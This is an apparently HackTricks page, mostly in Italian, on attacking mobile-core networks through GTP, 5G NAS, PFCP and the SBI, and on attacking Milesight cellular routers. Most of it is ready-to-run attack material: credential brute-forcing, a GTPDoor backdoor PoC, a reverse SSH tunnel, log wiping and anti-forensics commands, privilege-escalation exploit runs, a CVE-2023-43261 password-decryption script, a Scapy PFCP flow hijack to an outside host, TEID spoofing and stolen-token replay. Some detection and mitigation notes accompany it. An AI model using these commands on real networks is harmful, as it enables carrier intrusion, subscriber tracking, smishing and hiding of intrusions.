Telecom Network Exploitation (GTP / Roaming Environments)

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Note

I protocolli del mobile-core (GPRS Tunnelling Protocol – GTP) spesso attraversano backbone di roaming GRX/IPX semi-affidabili. Poiché viaggiano su UDP in chiaro con quasi nessuna autenticazione, qualsiasi foothold all’interno del perimetro telecom può solitamente raggiungere direttamente i piani di signalling core. Le note seguenti raccolgono trucchi offensivi osservati nel mondo reale contro SGSN/GGSN, PGW/SGW e altri nodi EPC.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

Un numero sorprendentemente elevato di network element forniti dai vendor viene consegnato con utenti SSH/Telnet hard-coded come root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Una wordlist dedicata aumenta drasticamente il successo del brute-force:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Se il dispositivo espone solo un VRF di gestione, esegui prima un pivot attraverso un jump host (vedi la sezione «SGSN Emu Tunnel» qui sotto).

1.2 Rilevamento degli host all’interno di GRX/IPX

La maggior parte degli operatori GRX permette ancora ICMP echo attraverso il backbone. Combina masscan con le sonde UDP integrate gtpv1 per mappare rapidamente i listener GTP-C:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerazione degli abbonati – cordscan

Il seguente strumento Go genera pacchetti GTP-C Create PDP Context Request e registra le risposte. Ogni risposta rivela l’attuale SGSN / MME che serve l’IMSI interrogato e, talvolta, il PLMN visitato dall’abbonato.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Flag principali:

  • --imsi IMSI dell’abbonato target
  • --oper Home / HNI (MCC+MNC)
  • -w Scrive pacchetti raw in pcap

Costanti importanti all’interno del binary possono essere patchate per ampliare le scansioni:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Esecuzione di codice su GTP – GTPDoor

GTPDoor è un piccolo servizio ELF che si mette in ascolto su UDP 2123 e analizza ogni pacchetto GTP-C in arrivo. Quando il payload inizia con un tag precondiviso, il resto viene decrittato (AES-128-CBC) ed eseguito tramite /bin/sh -c. Lo stdout/stderr vengono esfiltrati all’interno di messaggi Echo Response, in modo che non venga mai creata una sessione verso l’esterno.

Pacchetto PoC minimo (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Rilevamento:

  • qualsiasi host che invia unbalanced Echo Requests agli IP SGSN
  • GTP version flag impostato a 1 mentre message type = 1 (Echo) – deviazione dalla specifica

4. Pivoting attraverso il Core

4.1 sgsnemu + SOCKS5

OsmoGGSN fornisce un SGSN emulator in grado di establish a PDP context towards a real GGSN/PGW. Una volta negoziato, Linux riceve una nuova interfaccia tun0 raggiungibile dal roaming peer.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Con un corretto firewall hair-pinning, questo tunnel bypassa le signalling-only VLANs e ti porta direttamente nel data plane.

4.2 SSH Reverse Tunnel over Port 53

DNS è quasi sempre aperto nelle infrastrutture in roaming. Esponi un servizio SSH interno sul tuo VPS in ascolto su :53 e torna più tardi da casa:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Verificare che GatewayPorts yes sia abilitato sul VPS.

5. Covert Channels

CanaleTrasportoDecodificaNote
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)ascoltatore completamente passivo, nessun traffico in uscita
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) codificato negli ottetti del record Aosserva il sotto-dominio *.nodep
GTP – GTPDoorUDP 2123blob AES-128-CBC in private IEsi mescola al traffico legittimo GTP-C

Tutti gli implants implementano watchdogs che timestomp i loro binaries e fanno re-spawn se crashano.

6. Defense Evasion Cheatsheet

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Escalation dei privilegi su Legacy NE

# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Suggerimento per la pulizia:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Strumenti

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – tooling custom descritto nelle sezioni precedenti.
  • FScan : sweep TCP intranet (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : pivoting leggero SOCKS5
  • FRP (≥0.37) : NAT traversal / asset bridging

9. Attacchi di registrazione NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

La procedura di registrazione 5G avviene su NAS (Non-Access Stratum) sopra NGAP. Fino a quando la sicurezza NAS non è attivata tramite Security Mode Command/Complete, i messaggi iniziali non sono autenticati né cifrati. Questa finestra pre-security abilita molteplici vie di attacco quando si può osservare o manomettere il traffico N2 (es. on-path all’interno del core, rogue gNB, o testbed).

Flusso di registrazione (semplificato):

  • Registration Request: UE invia SUCI (SUPI criptato) e capacità.
  • Authentication: AMF/AUSF inviano RAND/AUTN; UE ritorna RES*.
  • Security Mode Command/Complete: vengono negoziate e attivate integrità e cifratura NAS.
  • PDU Session Establishment: configurazione IP/QoS.

Suggerimenti per lab (non-RF):

  • Core: la deployment di default di Open5GS è sufficiente per riprodurre i flow.
  • UE: simulatore o UE di test; decodificare con Wireshark.
  • Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Useful display filters in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Privacy degli identificatori: fallimenti SUCI che espongono SUPI/IMSI

Aspettativa: UE/USIM devono trasmettere SUCI (SUPI cifrato con la chiave pubblica della home-network). Trovare un SUPI/IMSI in chiaro nella Registration Request indica un difetto di privacy che abilita il tracciamento persistente degli abbonati.

Come testare:

  • Catturare il primo messaggio NAS in InitialUEMessage e ispezionare il Mobile Identity IE.
  • Verifiche rapide con Wireshark:
  • Dovrebbe decodificare come SUCI, non IMSI.
  • Esempi di filter: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci dovrebbe esistere; assenza più presenza di imsi indica leakage.

Cosa raccogliere:

  • MCC/MNC/MSIN se esposti; log per-UE e tracciare nel tempo/luoghi.

Mitigazione:

  • Forzare UEs/USIMs ad usare solo SUCI; generare alert su qualsiasi IMSI/SUPI nel NAS iniziale.

9.2 Riduzione delle capability verso algoritmi nulli (EEA0/EIA0)

Background:

  • UE pubblicizza gli EEA (encryption) e gli EIA (integrity) supportati nel UE Security Capability IE della Registration Request.
  • Mappature comuni: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sono algoritmi null.

Problema:

  • Poiché la Registration Request non è protetta in integrità, un attaccante on-path può azzerare i bit di capability per costringere la selezione di EEA0/EIA0 più tardi durante il Security Mode Command. Alcuni stack permettono erroneamente algoritmi null anche al di fuori dei servizi di emergenza.

Passi offensivi:

  • Intercettare InitialUEMessage e modificare il NAS UE Security Capability per pubblicizzare solo EEA0/EIA0.
  • Con Sni5Gect, agganciare il messaggio NAS e patchare i bit di capability prima di inoltrarlo.
  • Osservare se l’AMF accetta cifrature/integrità null e completa il Security Mode con EEA0/EIA0.

Verifica/visibilità:

  • In Wireshark, confermare gli algoritmi selezionati dopo Security Mode Command/Complete.
  • Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mitigazioni (obbligatorie):

  • Configurare AMF/policy per rifiutare EEA0/EIA0 tranne nei casi strettamente previsti (es. chiamate di emergenza).
  • Preferire l’applicazione di EEA2/EIA2 come minimo; registrare e generare allarmi per ogni NAS security context che negozia algoritmi null.

9.3 Replay della Registration Request iniziale (pre-security NAS)

Poiché il NAS iniziale manca di integrità e freshness, gli InitialUEMessage+Registration Request catturati possono essere riprodotti all’AMF.

Regola PoC per 5GReplay per inoltrare replay corrispondenti:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

What to observe:

  • Se l’AMF accetta il replay e procede all’autenticazione; la mancanza di validazione della freschezza/del contesto indica esposizione.

Mitigations:

  • Applicare protezione contro replay/context binding sull’AMF; rate-limit e correlare per GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: avvia un AMF/SMF/UPF per emulare il core; osserva N2 (NGAP) e NAS.
  • Wireshark: verifica le decodifiche di NGAP/NAS; applica i filtri sopra per isolare la Registration.
  • 5GReplay: cattura una registration, quindi effettua il replay di specifici messaggi NGAP + NAS come da regola.
  • Sni5Gect: live sniff/modify/inject il control-plane NAS per forzare algoritmi null o perturbare le sequenze di autenticazione.

9.5 Defensive checklist

  • Ispezionare continuamente la Registration Request alla ricerca di SUPI/IMSI in chiaro; bloccare dispositivi/USIMs responsabili.
  • Rifiutare EEA0/EIA0 eccetto procedure di emergenza strettamente definite; richiedere almeno EEA2/EIA2.
  • Rilevare infrastrutture rogue o mal configurate: gNB/AMF non autorizzati, N2 peer inattesi.
  • Generare allerta su modalità di sicurezza NAS che risultano in algoritmi null o frequenti replay di InitialUEMessage.

10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

L’abuso di API web esposte di router cellulari industriali permette smishing stealthy con origine carrier su larga scala. I router Milesight serie UR espongono un endpoint in stile JSON-RPC in /cgi. Quando mal configurata, l’API può essere interrogata senza autenticazione per elencare inbox/outbox di SMS e, in alcune installazioni, per inviare SMS.

Tipiche richieste non autenticate (stessa struttura per inbox/outbox):

POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Le risposte includono campi come timestamp, content, phone_number (E.164) e status (success o failed). Invii ripetuti con stato failed allo stesso numero sono spesso “capability checks” dell’attaccante per verificare che un router/SIM possa consegnare prima del blasting.

Esempio di curl per esfiltrare i metadati SMS:

curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Note sugli auth artifacts:

  • Parte del traffico può includere un auth cookie, ma una larga parte dei dispositivi esposti risponde senza alcuna autenticazione a query_inbox/query_outbox quando l’interfaccia di gestione è esposta a Internet.
  • In ambienti che richiedono auth, credenziali previously-leaked (vedi sotto) ripristinano l’accesso.

Percorso di recupero credenziali – CVE-2023-43261:

  • Famiglie interessate: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Problema: i log serviti via web (es., httpd.log) sono raggiungibili senza autenticazione sotto /lang/log/ e contengono eventi di login admin con la password cifrata usando una chiave/IV AES hardcoded presente nel JavaScript lato client.
  • Accesso pratico e decrittazione:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Esempio minimo in Python per decifrare leaked passwords (AES-128-CBC, hardcoded key/IV):

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Hunting and detection ideas (network):

  • Generare alert su POST /cgi non autenticati il cui body JSON contiene base/function impostati su query_inbox o query_outbox.
  • Tracciare ripetuti burst di POST /cgi seguiti da voci status":"failed" che interessano molti numeri unici dallo stesso IP sorgente (capability testing).
  • Effettuare inventario dei Milesight router esposti su Internet; limitare la gestione alla VPN; disabilitare le funzionalità SMS a meno che non siano richieste; aggiornare a ≥ v35.3.0.7; ruotare le credenziali e controllare i log SMS per invii sconosciuti.

Shodan/OSINT pivots (examples seen in the wild):

  • http.html:"rt_title" matches Milesight router panels.
  • Google dorking for exposed logs: "/lang/log/system" ext:log.

Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.


11. PFCP Session Hijack & GTP-U TEID Abuse

11.1 PFCP Session Modification to steal flows

Se puoi parlare PFCP su N4 (es. da un segmento GRX/IPX mal filtrato), crea una Session Modification Request che inserisca un PDR ID duplicato ma con una Precedence minore e una FAR che punti al tuo host. Alcuni UPFs (es. OAI-cn5g) applicano il primo PDR corrispondente e non verificano l’unicità, quindi il PDR malevolo hijacks tutti i pacchetti successivi di quella PDU session verso il tuo sink.

Minimal Scapy PoC (assumes PFCP contrib is available and you know SEID/PDR IDs):

Scapy PFCP session hijack PoC ```python from scapy.all import * from scapy.contrib.pfcp import *

n4 = “10.10.20.5” # UPF N4 seid = 0x123456789abc pdr_id = 7 # existing PDR ID in session far_id = 77 # new malicious FAR

pkt = IP(dst=n4)/UDP(sport=8805,dport=8805)/PFCP( S=1, seid=seid, msg_type=MODIFICATION_REQUEST)/PFCPSessionModificationRequest( IE_list=[PDR(id=pdr_id, precedence=1, outer_header_removal=0, far_id=fid_identifier(far_id)), FAR(id=far_id, apply_action=0b10, # FORWARD forwarding_parameters=ForwardingParameters( outer_header_creation=OuterHeaderCreation( desc=0x0002, ipv4_address=“203.0.113.55”, teid=0xdeadbeef)))] ) send(pkt, verbose=False)

</details>

### 11.2 Injecting user traffic by spoofing TEIDs
Se l'uplink GTP-U dal backbone non è protetto da ACL, è possibile riprodurre o indovinare i **TEIDs** visti negli header GTP-U e incapsulare pacchetti IP/TCP arbitrari verso il peer dell'UE o verso Internet. Esempio di craft:
```python
send(IP(dst="10.10.20.8")/UDP(dport=2152,sport=2152)/
GTP_U_Header(teid=0x7ffed00)/
IP(src="10.0.0.10",dst="1.1.1.1")/TCP(dport=443,flags="S"))

Abbinalo a passive sniffing su N3/N6 per scoprire TEIDs attivi; molti stack PGW/UPF accettano qualsiasi sorgente uplink una volta che il TEID corrisponde.


12. SBA/SBI Fuzzing & Cross-Service Token Attack (free5GC R17)

FivGeeFuzz (academic 2025) deriva automaticamente grammatiche dalle specifiche 3GPP OpenAPI per fuzz HTTP-based SBIs. Contro free5GC ha scoperto otto bug incluso l’abuso Cross-Service Token: un NF compromesso ottiene un access token per Service A e lo riusa contro Service B perché i controlli audience/issuer mancavano nell’NF target.

Idea di replay rapido (assumendo che tu abbia rubato un token emesso dall’NRF da qualsiasi NF):

# Swap :authority to the victim NF and reuse the bearer token
curl -sk -H "Authorization: Bearer $TOKEN" \
-H "Host: smf.internal" \
https://smf.internal/nsmf-pdusession/v1/sm-contexts

Per eseguire fuzz automaticamente con le grammatiche di FivGeeFuzz:

python3 fivgeefuzz.py --nf nsmf-pdusession \
--target https://smf.internal \
--grammar grammars/nsmf-pdusession.json \
--token "$TOKEN" --threads 8 --max-cases 500

Tenere d’occhio bypass 401/403 e crash nei pod SMF/AMF; le build free5GC patched rifiutano aud/iss.


Detection Ideas

  1. Any device other than an SGSN/GGSN establishing Create PDP Context Requests.
  2. Non-standard ports (53, 80, 443) receiving SSH handshakes from internal IPs.
  3. Frequent Echo Requests without corresponding Echo Responses – potrebbero indicare beacon GTPDoor.
  4. High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields.
  5. 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints (segnale di replay).
  6. 5G: NAS Security Mode negotiating EEA0/EIA0 al di fuori di contesti di emergenza.
  7. PFCP: Session Modification carrying duplicate PDR IDs or sudden FAR redirection to off-net IPs.
  8. SBA: NRF issues tokens whose aud does not match the called NF – indicativo di Cross-Service Token replay.

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks